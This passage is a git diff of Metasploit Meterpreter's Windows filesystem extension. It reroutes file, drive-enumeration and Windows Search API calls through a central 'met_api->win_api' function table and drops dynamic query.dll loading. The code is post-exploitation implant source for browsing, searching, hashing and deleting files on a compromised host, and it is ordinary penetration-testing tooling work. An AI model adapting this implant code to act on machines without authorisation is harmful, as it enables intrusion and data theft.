(!CryptAcquireContext(&cryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + if (!met_api->win_api.advapi32.CryptAcquireContextA(&cryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); dprintf("[FILE HASH] Failed to get the Crypt context: %d (%x)", result, result); break; } - if (!CryptCreateHash(cryptProv, hashType, 0, 0, &hashInstance)) + if (!met_api->win_api.advapi32.CryptCreateHash(cryptProv, hashType, 0, 0, &hashInstance)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); dprintf("[FILE HASH] Failed to get the hash instance: %d (%x)", result, result); break; } BOOL failed = FALSE; while ((ret = fread(buff, 1, sizeof(buff), fd)) > 0) { - if (!CryptHashData(hashInstance, buff, (DWORD)ret, 0)) + if (!met_api->win_api.advapi32.CryptHashData(hashInstance, buff, (DWORD)ret, 0)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); dprintf("[FILE HASH] Failed to hash a chunk of data", result, result); failed = TRUE; break; @@ -358,9 +358,9 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) DWORD hashSize = 0; DWORD hashBufferSize = sizeof(hashSize); - if (!CryptGetHashParam(hashInstance, HP_HASHSIZE, (BYTE*)&hashSize, &hashBufferSize, 0) || hashSize == 0) + if (!met_api->win_api.advapi32.CryptGetHashParam(hashInstance, HP_HASHSIZE, (BYTE*)&hashSize, &hashBufferSize, 0) || hashSize == 0) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); dprintf("[FILE HASH] Failed to get the hash size: %d (%x)", result, result); } @@ -368,9 +368,9 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) // We'll reuse the buff var here because it's more than big enough for the // size of any hash that'll be calculated - if (!CryptGetHashParam(hashInstance, HP_HASHVAL, buff, &hashSize, 0)) + if (!met_api->win_api.advapi32.CryptGetHashParam(hashInstance, HP_HASHVAL, buff, &hashSize, 0)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); dprintf("[FILE HASH] Failed to get the hash value: %d (%x)", result, result); break; } @@ -383,12 +383,12 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) if (hashInstance != 0) { - CryptDestroyHash(hashInstance); + met_api->win_api.advapi32.CryptDestroyHash(hashInstance); } if (cryptProv != 0) { - CryptReleaseContext(cryptProv, 0); + met_api->win_api.advapi32.CryptReleaseContext(cryptProv, 0); } if (fd != NULL) diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c index 5f02bdfa9..a3e2a4ac9 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c @@ -14,72 +14,72 @@ BOOL DeleteFolderWR(LPCWSTR szPath) wchar_t cPath[MAX_PATH], cCurrentFile[MAX_PATH]; if (szPath == NULL) { - SetLastError(ERROR_INVALID_PARAMETER); + met_api->win_api.kernel32.SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } - if (szPath[0] == L'\\' || szPath[0] == L'\0' || szPath[0] == L'.' || lstrcmpiW(szPath, L"..") == 0) { - SetLastError(ERROR_INVALID_PARAMETER); + if (szPath[0] == L'\\' || szPath[0] == L'\0' || szPath[0] == L'.' || met_api->win_api.kernel32.lstrcmpiW(szPath, L"..") == 0) { + met_api->win_api.kernel32.SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } - dwAttrs = GetFileAttributesW(szPath); + dwAttrs = met_api->win_api.kernel32.GetFileAttributesW(szPath); if (dwAttrs == INVALID_FILE_ATTRIBUTES) { return FALSE; } if (~dwAttrs & FILE_ATTRIBUTE_DIRECTORY) { - SetLastError(ERROR_INVALID_PARAMETER); + met_api->win_api.kernel32.SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } - SetLastError(0); + met_api->win_api.kernel32.SetLastError(0); - bRes = RemoveDirectoryW(szPath); + bRes = met_api->win_api.kernel32.RemoveDirectoryW(szPath); if (bRes == TRUE) return TRUE; - if (bRes == FALSE && GetLastError() != ERROR_DIR_NOT_EMPTY) + if (bRes == FALSE && met_api->win_api.kernel32.GetLastError() != ERROR_DIR_NOT_EMPTY) return FALSE; - nLength = lstrlenW(szPath); + nLength = met_api->win_api.kernel32.lstrlenW(szPath); - if (nLength + lstrlenW(L"\\*.*") + 1> MAX_PATH) + if (nLength + met_api->win_api.kernel32.lstrlenW(L"\\*.*") + 1> MAX_PATH) return FALSE; if (szPath[nLength - 1] == L'\\') - wsprintfW(cPath, L"%s*.*", szPath); + met_api->win_api.user32.wsprintfW(cPath, L"%s*.*", szPath); else - wsprintfW(cPath, L"%s\\*.*", szPath); + met_api->win_api.user32.wsprintfW(cPath, L"%s\\*.*", szPath); - hFind = FindFirstFileW(cPath, &findFileData); + hFind = met_api->win_api.kernel32.FindFirstFileW(cPath, &findFileData); if (hFind == INVALID_HANDLE_VALUE) return FALSE; - lstrcpyW(cPath, szPath); + met_api->win_api.kernel32.lstrcpyW(cPath, szPath); if (cPath[nLength - 1] == L'\\') cPath[nLength - 1] = L'\0'; do { - if (lstrcmpiW(findFileData.cFileName, L".") == 0 || lstrcmpiW(findFileData.cFileName, L"..") == 0) + if (met_api->win_api.kernel32.lstrcmpiW(findFileData.cFileName, L".") == 0 || met_api->win_api.kernel32.lstrcmpiW(findFileData.cFileName, L"..") == 0) continue; - if (lstrlenW(cPath) + lstrlenW(L"\\") + lstrlenW(findFileData.cFileName) + 1 > MAX_PATH) + if (met_api->win_api.kernel32.lstrlenW(cPath) + met_api->win_api.kernel32.lstrlenW(L"\\") + met_api->win_api.kernel32.lstrlenW(findFileData.cFileName) + 1 > MAX_PATH) continue; - wsprintfW(cCurrentFile, L"%s\\%s", cPath, findFileData.cFileName); + met_api->win_api.user32.wsprintfW(cCurrentFile, L"%s\\%s", cPath, findFileData.cFileName); if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_READONLY) { findFileData.dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY; - SetFileAttributesW(cCurrentFile, findFileData.dwFileAttributes); + met_api->win_api.kernel32.SetFileAttributesW(cCurrentFile, findFileData.dwFileAttributes); } if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) - bRes = RemoveDirectoryW(cCurrentFile); + bRes = met_api->win_api.kernel32.RemoveDirectoryW(cCurrentFile); else bRes = DeleteFolderWR(cCurrentFile); } @@ -88,21 +88,21 @@ BOOL DeleteFolderWR(LPCWSTR szPath) if ((findFileData.dwFileAttributes & FILE_ATTRIBUTE_READONLY) || (findFileData.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)) - SetFileAttributesW(cCurrentFile, FILE_ATTRIBUTE_NORMAL); + met_api->win_api.kernel32.SetFileAttributesW(cCurrentFile, FILE_ATTRIBUTE_NORMAL); - DeleteFileW(cCurrentFile); + met_api->win_api.kernel32.DeleteFileW(cCurrentFile); } - } while (FindNextFileW(hFind, &findFileData)); + } while (met_api->win_api.kernel32.FindNextFileW(hFind, &findFileData)); - dwError = GetLastError(); + dwError = met_api->win_api.kernel32.GetLastError(); if (hFind != INVALID_HANDLE_VALUE) - FindClose(hFind); + met_api->win_api.kernel32.FindClose(hFind); if (dwError != ERROR_NO_MORE_FILES) return FALSE; - bRes = RemoveDirectoryW(szPath); + bRes = met_api->win_api.kernel32.RemoveDirectoryW(szPath); return bRes; } @@ -117,7 +117,7 @@ char * fs_expand_path(const char *regular) return NULL; } - if (ExpandEnvironmentStringsW(regular_w, expanded_path, FS_MAX_PATH) == 0) { + if (met_api->win_api.kernel32.ExpandEnvironmentStringsW(regular_w, expanded_path, FS_MAX_PATH) == 0) { free(regular_w); return NULL; } @@ -177,19 +177,19 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) WIN32_FIND_DATAW data; wchar_t *path_w = met_api->string.utf8_to_wchar(expanded); if (path_w == NULL) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); goto out; } - HANDLE ctx = FindFirstFileW(path_w, &data); + HANDLE ctx = met_api->win_api.kernel32.FindFirstFileW(path_w, &data); if (ctx == NULL) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); goto out; } do { if (ctx == INVALID_HANDLE_VALUE) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -208,12 +208,12 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) free(filename); free(short_filename); - } while (FindNextFileW(ctx, &data)); + } while (met_api->win_api.kernel32.FindNextFileW(ctx, &data)); /* * Clean up resources */ - FindClose(ctx); + met_api->win_api.kernel32.FindClose(ctx); free(expanded); out: free(baseDirectory); @@ -227,12 +227,12 @@ int fs_chdir(const char *directory) wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); goto out; } - if (SetCurrentDirectoryW(dir_w) == 0) { - rc = GetLastError(); + if (met_api->win_api.kernel32.SetCurrentDirectoryW(dir_w) == 0) { + rc = met_api->win_api.kernel32.GetLastError(); } out: @@ -246,12 +246,12 @@ int fs_delete_dir(const char *directory) wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); goto out; } if (DeleteFolderWR(dir_w) == 0) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); } out: @@ -265,18 +265,18 @@ int fs_delete_file(const char *path) wchar_t *path_w = met_api->string.utf8_to_wchar(path); if (path_w == NULL) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); goto out; } - DWORD attrs = GetFileAttributesW(path_w); + DWORD attrs = met_api->win_api.kernel32.GetFileAttributesW(path_w); if ((attrs != INVALID_FILE_ATTRIBUTES) && (attrs & FILE_ATTRIBUTE_READONLY)) { attrs &= ~FILE_ATTRIBUTE_READONLY; - SetFileAttributesW(path_w, attrs); + met_api->win_api.kernel32.SetFileAttributesW(path_w, attrs); } - if (DeleteFileW(path_w) == 0) { - rc = GetLastError(); + if (met_api->win_api.kernel32.DeleteFileW(path_w) == 0) { + rc = met_api->win_api.kernel32.GetLastError(); } out: @@ -289,14 +289,14 @@ int fs_getwd(char **dir) int rc = ERROR_SUCCESS; wchar_t dir_w[FS_MAX_PATH]; - if (GetCurrentDirectoryW(FS_MAX_PATH, dir_w) == 0) { - rc = GetLastError(); + if (met_api->win_api.kernel32.GetCurrentDirectoryW(FS_MAX_PATH, dir_w) == 0) { + rc = met_api->win_api.kernel32.GetLastError(); goto out; } *dir = met_api->string.wchar_to_utf8(dir_w); if (*dir == NULL) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); } out: @@ -310,12 +310,12 @@ int fs_move(const char *oldpath, const char *newpath) wchar_t *new_w = met_api->string.utf8_to_wchar(newpath); if ((old_w == NULL) || (new_w == NULL)) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); goto out; } - if (MoveFileW(old_w, new_w) == 0) { - rc = GetLastError(); + if (met_api->win_api.kernel32.MoveFileW(old_w, new_w) == 0) { + rc = met_api->win_api.kernel32.GetLastError(); } out: @@ -331,12 +331,12 @@ int fs_copy(const char *oldpath, const char *newpath) wchar_t *new_w = met_api->string.utf8_to_wchar(newpath); if ((old_w == NULL) || (new_w == NULL)) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); goto out; } - if (CopyFileW(old_w, new_w, 0) == 0) { - rc = GetLastError(); + if (met_api->win_api.kernel32.CopyFileW(old_w, new_w, 0) == 0) { + rc = met_api->win_api.kernel32.GetLastError(); } out: @@ -359,19 +359,19 @@ int fs_mkdir(char *directory) return ERROR_INVALID_PARAMETER; } - process_heap = GetProcessHeap(); + process_heap = met_api->win_api.kernel32.GetProcessHeap(); if(process_heap == NULL){ - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); return rc; } // Add 2 because of NULL character and additional backslash - directory_length = lstrlenA(directory)+2; - base_dir = (char *)HeapAlloc(process_heap, 0, directory_length); + directory_length = met_api->win_api.kernel32.lstrlenA(directory)+2; + base_dir = (char *)met_api->win_api.kernel32.HeapAlloc(process_heap, 0, directory_length); if(base_dir == NULL){ - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); return rc; } @@ -384,12 +384,12 @@ int fs_mkdir(char *directory) if (fs_stat(base_dir, &s) != ERROR_SUCCESS) { dir_w = met_api->string.utf8_to_wchar(base_dir); if (dir_w == NULL) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); goto out; } - if (CreateDirectoryW(dir_w, NULL) == 0) { - rc = GetLastError(); + if (met_api->win_api.kernel32.CreateDirectoryW(dir_w, NULL) == 0) { + rc = met_api->win_api.kernel32.GetLastError(); free(dir_w); goto out; } @@ -399,7 +399,8 @@ int fs_mkdir(char *directory) dir = strtok(NULL, "\\"); if (dir != NULL){ - sprintf_s((char*)(base_dir+lstrlenA(base_dir)), directory_length, "%s\\",dir); + size_t base_dir_length = met_api->win_api.kernel32.lstrlenA(base_dir); + sprintf_s(base_dir + base_dir_length, directory_length - base_dir_length, "%s\\", dir); } memset(&s, 0, sizeof(struct meterp_stat)); @@ -407,7 +408,7 @@ int fs_mkdir(char *directory) out: - HeapFree(process_heap,0, base_dir); + met_api->win_api.kernel32.HeapFree(process_heap, 0, base_dir); return rc; } @@ -437,7 +438,7 @@ int fs_fopen(const char *path, const char *mode, FILE **f) Mode[1] = L'b'; *f = _wfopen(path_w, Mode); if (*f == NULL) { - rc = GetLastError(); + rc = met_api->win_api.kernel32.GetLastError(); } out: @@ -469,11 +470,11 @@ attributes_from_dir_w(LPCWSTR pszFile, LPWIN32_FILE_ATTRIBUTE_DATA pfad) { HANDLE hFindFile; WIN32_FIND_DATAW FileData; - hFindFile = FindFirstFileW(pszFile, &FileData); + hFindFile = met_api->win_api.kernel32.FindFirstFileW(pszFile, &FileData); if (hFindFile == INVALID_HANDLE_VALUE) { return -1; } - FindClose(hFindFile); + met_api->win_api.kernel32.FindClose(hFindFile); pfad->dwFileAttributes = FileData.dwFileAttributes; pfad->ftCreationTime = FileData.ftCreationTime; pfad->ftLastAccessTime = FileData.ftLastAccessTime; @@ -521,8 +522,8 @@ win32_wstat(const wchar_t* path, struct meterp_stat *result) int code; const wchar_t *dot; WIN32_FILE_ATTRIBUTE_DATA info; - if (!GetFileAttributesExW(path, GetFileExInfoStandard, &info)) { - if (GetLastError() != ERROR_SHARING_VIOLATION) { + if (!met_api->win_api.kernel32.GetFileAttributesExW(path, GetFileExInfoStandard, &info)) { + if (met_api->win_api.kernel32.GetLastError() != ERROR_SHARING_VIOLATION) { return -1; } else { @@ -555,7 +556,7 @@ int fs_stat(char *filename, struct meterp_stat *buf) } if (win32_wstat(filename_w, buf) == -1) { - return GetLastError(); + return met_api->win_api.kernel32.GetLastError(); } free(filename_w); diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c b/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c index 04ec3564f..2c4a4ee38 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c @@ -13,9 +13,9 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) do { - if (GetLogicalDriveStringsA(DRIVE_STRINGS_LEN, driveStrings) == 0) + if (met_api->win_api.kernel32.GetLogicalDriveStringsA(DRIVE_STRINGS_LEN, driveStrings) == 0) { - BREAK_ON_ERROR("[MOUNT] Failed to get drive strings"); + BREAK_WITH_ERROR("[MOUNT] Failed to get drive strings", met_api->win_api.kernel32.GetLastError()); } dprintf("[MOUNT] enumerating %p ... ", driveStrings); @@ -25,7 +25,7 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) dprintf("[MOUNT] Drive found: %s", d); Packet* driveData = met_api->packet.create_group(); - UINT driveType = GetDriveTypeA(d); + UINT driveType = met_api->win_api.kernel32.GetDriveTypeA(d); dprintf("[MOUNT] %s drive type %u (0x%x)", d, driveType, driveType); met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d); @@ -37,12 +37,12 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) dprintf("[MOUNT] %s is a remote drive", d); DWORD bufSize = 0; CHAR temp; - if (WNetGetUniversalNameA(d, UNIVERSAL_NAME_INFO_LEVEL, &temp, &bufSize) == ERROR_MORE_DATA) + if (met_api->win_api.mpr.WNetGetUniversalNameA(d, UNIVERSAL_NAME_INFO_LEVEL, &temp, &bufSize) == ERROR_MORE_DATA) { dprintf("[MOUNT] %s remote name requires bytes: %u", d, bufSize); LPVOID buffer = malloc(bufSize + 1); dprintf("[MOUNT] %s allocated %p", d, buffer); - if (WNetGetUniversalNameA(d, UNIVERSAL_NAME_INFO_LEVEL, buffer, &bufSize) == NO_ERROR) + if (met_api->win_api.mpr.WNetGetUniversalNameA(d, UNIVERSAL_NAME_INFO_LEVEL, buffer, &bufSize) == NO_ERROR) { dprintf("[MOUNT] %s got universal name", d); UNIVERSAL_NAME_INFOA* nameInfo = (UNIVERSAL_NAME_INFOA*)buffer; @@ -53,19 +53,19 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) } else { - dprintf("[MOUNT] %s failed to get remote name: %u (0x%x)", d, GetLastError(), GetLastError()); + dprintf("[MOUNT] %s failed to get remote name: %u (0x%x)", d, met_api->win_api.kernel32.GetLastError(), met_api->win_api.kernel32.GetLastError()); } SAFE_FREE(buffer); } else { - dprintf("[MOUNT] %s failed to get remote name size: %u (0x%x)", d, GetLastError(), GetLastError()); + dprintf("[MOUNT] %s failed to get remote name size: %u (0x%x)", d, met_api->win_api.kernel32.GetLastError(), met_api->win_api.kernel32.GetLastError()); } } ULARGE_INTEGER userFreeBytes, totalBytes, totalFreeBytes; dprintf("[MOUNT] %s getting free space ...", d); - if (GetDiskFreeSpaceExA(d, &userFreeBytes, &totalBytes, &totalFreeBytes) != 0) + if (met_api->win_api.kernel32.GetDiskFreeSpaceExA(d, &userFreeBytes, &totalBytes, &totalFreeBytes) != 0) { met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart); met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart); diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/search.c b/c/meterpreter/source/extensions/stdapi/server/fs/search.c index 8ff3158f1..efe013588 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/search.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/search.c @@ -32,7 +32,7 @@ BOOL uintToSYSTEMTIME(UINT epoch, SYSTEMTIME* lpst) { FILETIME ft = {0}; ft.dwHighDateTime = li.HighPart; ft.dwLowDateTime = li.LowPart; - if (!FileTimeToSystemTime(&ft, lpst)) { + if (!met_api->win_api.kernel32.FileTimeToSystemTime(&ft, lpst)) { return FALSE; } return TRUE; @@ -86,40 +86,17 @@ VOID wds_startup(WDS_INTERFACE * pWDSInterface) { memset(pWDSInterface, 0, sizeof(WDS_INTERFACE)); - hr = CoInitialize(NULL); + hr = met_api->win_api.ole32.CoInitialize(NULL); if (FAILED(hr)) { BREAK_WITH_ERROR("[SEARCH] wds_startup: CoInitializeEx Failed", hr); } - do - { - pWDSInterface->hQuery = LoadLibraryA("query.dll"); - if (!pWDSInterface->hQuery) { - BREAK_ON_ERROR("[SEARCH] wds_startup:v2: LoadLibraryA query.dll Failed"); - } - - pWDSInterface->pLocateCatalogsW = (LOCATECATALOGSW)GetProcAddress(pWDSInterface->hQuery, "LocateCatalogsW"); - if (!pWDSInterface->pLocateCatalogsW) { - BREAK_ON_ERROR("[SEARCH] wds_startup:v2: GetProcAddress LocateCatalogsW Failed"); - } - - pWDSInterface->pCIMakeICommand = (CIMAKEICOMMAND)GetProcAddress(pWDSInterface->hQuery, "CIMakeICommand"); - if (!pWDSInterface->pCIMakeICommand) { - BREAK_ON_ERROR("[SEARCH] wds_startup:v2: GetProcAddress CIMakeICommand Failed"); - } - - pWDSInterface->pCITextToFullTree = (CITEXTTOFULLTREE)GetProcAddress(pWDSInterface->hQuery, "CITextToFullTree"); - if (!pWDSInterface->pCITextToFullTree) { - BREAK_ON_ERROR("[SEARCH] wds_startup:v2: GetProcAddress CITextToFullTree Failed"); - } - - pWDSInterface->bWDS2Available = TRUE; - - } while (0); + // The query.dll wrappers report E_NOTIMPL when WDS v2 is unavailable. + pWDSInterface->bWDS2Available = TRUE; do { - hr = CoCreateInstance(&_CLSID_CSearchManager, NULL, CLSCTX_ALL, &_IID_ISearchManager, (LPVOID *)&pWDSInterface->pSearchManager); + hr = met_api->win_api.ole32.CoCreateInstance(&_CLSID_CSearchManager, NULL, CLSCTX_ALL, &_IID_ISearchManager, (LPVOID *)&pWDSInterface->pSearchManager); if (FAILED(hr)) { BREAK_WITH_ERROR("[SEARCH] wds_startup:v3: CoCreateInstance _IID_ISearchManager Failed", hr); } @@ -153,15 +130,6 @@ VOID wds_shutdown(WDS_INTERFACE * pWDSInterface) break; } - if (pWDSInterface->hQuery) - { - FreeLibrary(pWDSInterface->hQuery); - } - - pWDSInterface->pLocateCatalogsW = NULL; - pWDSInterface->pCIMakeICommand = NULL; - pWDSInterface->pCITextToFullTree = NULL; - pWDSInterface->bWDS2Available = FALSE; if (pWDSInterface->pCrawlScopeManager) @@ -184,7 +152,7 @@ VOID wds_shutdown(WDS_INTERFACE * pWDSInterface) pWDSInterface->bWDS3Available = FALSE; - CoUninitialize(); + met_api->win_api.ole32.CoUninitialize(); } while (0); } @@ -204,7 +172,7 @@ BOOL wds2_indexed(WDS_INTERFACE * pWDSInterface, wchar_t * directory) return FALSE; } - while (pWDSInterface->pLocateCatalogsW(directory, index++, machine, + while (met_api->win_api.query.LocateCatalogsW(directory, index++, machine, &machineLength, catalog, &catalogLength) == S_OK) { if (wcscmp(machine, L".") == 0 && _wcsicmp(catalog, L"system") == 0) @@ -454,7 +422,7 @@ DWORD wds2_search(WDS_INTERFACE * pWDSInterface, wchar_t *directory, SEARCH_OPTI wcCatalog[0] = L"System"; wcMachines[0] = L"."; - hr = pWDSInterface->pCIMakeICommand((ICommand**)&pCommand, 1, + hr = met_api->win_api.query.CIMakeICommand((PVOID*)&pCommand, 1, (DWORD *)&dwDepth, (wchar_t **)&wcScope, (wchar_t **)&wcCatalog, (wchar_t **)&wcMachines); if (FAILED(hr)) { @@ -475,7 +443,7 @@ DWORD wds2_search(WDS_INTERFACE * pWDSInterface, wchar_t *directory, SEARCH_OPTI swprintf_s(query, (dwLength + 128), L"#filename = %s", pOptions->glob); - hr = pWDSInterface->pCITextToFullTree(query, L"size,path", NULL, NULL, &pTree, 0, NULL, GetSystemDefaultLCID()); + hr = met_api->win_api.query.CITextToFullTree(query, L"size,path", NULL, NULL, (PVOID*)&pTree, 0, NULL, met_api->win_api.kernel32.GetSystemDefaultLCID()); if (FAILED(hr)) { BREAK_WITH_ERROR("[SEARCH] wds2_search: CITextToFullTree Failed", hr); } @@ -581,7 +549,7 @@ DWORD wds3_search(WDS_INTERFACE * pWDSInterface, wchar_t * wpProtocol, wchar_t * if (pOptions->uiStartDate != FS_SEARCH_NO_DATE) { SYSTEMTIME LPST = { 0 }; if (!uintToSYSTEMTIME(pOptions->uiStartDate, &LPST)) { - BREAK_WITH_ERROR("[SEARCH] unable to convert start date", GetLastError()); + BREAK_WITH_ERROR("[SEARCH] unable to convert start date", met_api->win_api.kernel32.GetLastError()); } where_len += swprintf_s(where + where_len, where_max_len - where_len, L" AND System.DateModified>='%04d-%02d-%02dT%02d:%02d:%02d'", @@ -590,7 +558,7 @@ DWORD wds3_search(WDS_INTERFACE * pWDSInterface, wchar_t * wpProtocol, wchar_t * if (pOptions->uiEndDate != FS_SEARCH_NO_DATE) { SYSTEMTIME LPST = { 0 }; if (!uintToSYSTEMTIME(pOptions->uiEndDate, &LPST)) { - BREAK_WITH_ERROR("[SEARCH] unable to convert end date", GetLastError()); + BREAK_WITH_ERROR("[SEARCH] unable to convert end date", met_api->win_api.kernel32.GetLastError()); } where_len += swprintf_s(where + where_len, where_max_len - where_len, L" AND System.DateModified<='%04d-%02d-%02dT%02d:%02d:%02d'", @@ -607,7 +575,7 @@ DWORD wds3_search(WDS_INTERFACE * pWDSInterface, wchar_t * wpProtocol, wchar_t * BREAK_WITH_ERROR("[SEARCH] wds3_search: ISearchQueryHelper_GenerateSQLFromUserQuery Failed", hr); } - hr = CoCreateInstance(&_CLSID_MSDAInitialize, NULL, CLSCTX_ALL, &_IID_IDataInitialize, (LPVOID *)&pDataInitialize); + hr = met_api->win_api.ole32.CoCreateInstance(&_CLSID_MSDAInitialize, NULL, CLSCTX_ALL, &_IID_IDataInitialize, (LPVOID *)&pDataInitialize); if (FAILED(hr)) { BREAK_WITH_ERROR("[SEARCH] wds3_search: CoCreateInstance _IID_IDataInitialize Failed", hr); } @@ -653,7 +621,7 @@ DWORD wds3_search(WDS_INTERFACE * pWDSInterface, wchar_t * wpProtocol, wchar_t * } #ifdef DEBUGTRACE - OutputDebugStringW(wpSQL); + met_api->win_api.kernel32.OutputDebugStringW(wpSQL); #endif hr = ICommandText_SetCommandText(pCommandText, &MET_DBGUID_DEFAULT, wpSQL); @@ -715,7 +683,7 @@ DWORD search_files(wchar_t * directory, SEARCH_OPTIONS * pOptions, Packet * pRes wchar_t firstFile[FS_MAX_PATH]; swprintf_s(firstFile, FS_MAX_PATH, L"%s\\%s", directory, pOptions->glob); WIN32_FIND_DATAW data; - HANDLE hFile = FindFirstFileW(firstFile, &data); + HANDLE hFile = met_api->win_api.kernel32.FindFirstFileW(firstFile, &data); if (hFile != INVALID_HANDLE_VALUE) { @@ -733,13 +701,13 @@ DWORD search_files(wchar_t * directory, SEARCH_OPTIONS * pOptions, Packet * pRes } search_add_result(pResponse, directory, data.cFileName, data.nFileSizeLow, data.ftLastWriteTime); } - } while (FindNextFileW(hFile, &data) != 0); + } while (met_api->win_api.kernel32.FindNextFileW(hFile, &data) != 0); - FindClose(hFile); + met_api->win_api.kernel32.FindClose(hFile); } else { - if (GetLastError() != ERROR_FILE_NOT_FOUND) { + if (met_api->win_api.kernel32.GetLastError() != ERROR_FILE_NOT_FOUND) { dprintf("[SEARCH] search_files: FindFirstFileW Failed."); - return GetLastError(); + return met_api->win_api.kernel32.GetLastError(); } } @@ -761,9 +729,9 @@ DWORD directory_search(wchar_t *directory, SEARCH_OPTIONS * pOptions, Packet * p if (!firstFile) { return ERROR_SUCCESS; } - swprintf_s(firstFile, FS_MAX_PATH, L"%s\\*.*", directory); + swprintf_s(firstFile, len, L"%s\\*.*", directory); - HANDLE hFile = FindFirstFileW(firstFile, &FindData); + HANDLE hFile = met_api->win_api.kernel32.FindFirstFileW(firstFile, &FindData); dprintf("%S", directory); if (hFile != INVALID_HANDLE_VALUE) { @@ -793,13 +761,13 @@ DWORD directory_search(wchar_t *directory, SEARCH_OPTIONS * pOptions, Packet * p bAllreadySearched = TRUE; } - } while (FindNextFileW(hFile, &FindData) != 0); + } while (met_api->win_api.kernel32.FindNextFileW(hFile, &FindData) != 0); - FindClose(hFile); + met_api->win_api.kernel32.FindClose(hFile); } else { - if (GetLastError() != ERROR_FILE_NOT_FOUND) { + if (met_api->win_api.kernel32.GetLastError() != ERROR_FILE_NOT_FOUND) { dprintf("[SEARCH] search_files: FindFirstFileW Failed."); - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); } } @@ -840,7 +808,7 @@ DWORD search(WDS_INTERFACE * pWDSInterface, wchar_t *directory, SEARCH_OPTIONS * DWORD search_all_drives(WDS_INTERFACE *pWDSInterface, SEARCH_OPTIONS *options, Packet *pResponse) //!!! VOID -> DWORD { - DWORD dwLogicalDrives = GetLogicalDrives(); + DWORD dwLogicalDrives = met_api->win_api.kernel32.GetLogicalDrives(); DWORD dwResult; for (wchar_t index = L'a'; index <= L'z'; index++) { @@ -851,7 +819,7 @@ DWORD search_all_drives(WDS_INTERFACE *pWDSInterface, SEARCH_OPTIONS *options, P swprintf_s(drive, 3, L"%c:", index); - dwType = GetDriveTypeW(drive); + dwType = met_api->win_api.kernel32.GetDriveTypeW(drive); if (dwType == DRIVE_FIXED || dwType == DRIVE_REMOTE) { diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/search.h b/c/meterpreter/source/extensions/stdapi/server/fs/search.h index 017953ceb..232d37878 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/search.h +++ b/c/meterpreter/source/extensions/stdapi/server/fs/search.h @@ -8,14 +8,6 @@ #include #include -// from query.dll for WDS 2 index based searching -typedef HRESULT (WINAPI * LOCATECATALOGSW)(wchar_t *, ULONG, wchar_t *, - ULONG *, wchar_t *, ULONG *); -typedef HRESULT (WINAPI * CIMAKEICOMMAND)(ICommand **, ULONG, DWORD *, - wchar_t **, wchar_t **, wchar_t **); -typedef HRESULT (WINAPI * CITEXTTOFULLTREE)(wchar_t *, wchar_t *, wchar_t *, - wchar_t *, DBCOMMANDTREE **, ULONG , LPVOID *, LCID); - typedef struct _WDS_INTERFACE { BOOL bWDS2Available; @@ -26,12 +18,6 @@ typedef struct _WDS_INTERFACE ISearchCatalogManager * pSearchCatalogManager; ISearchCrawlScopeManager * pCrawlScopeManager; - // WDS 2... - HMODULE hQuery; - LOCATECATALOGSW pLocateCatalogsW; 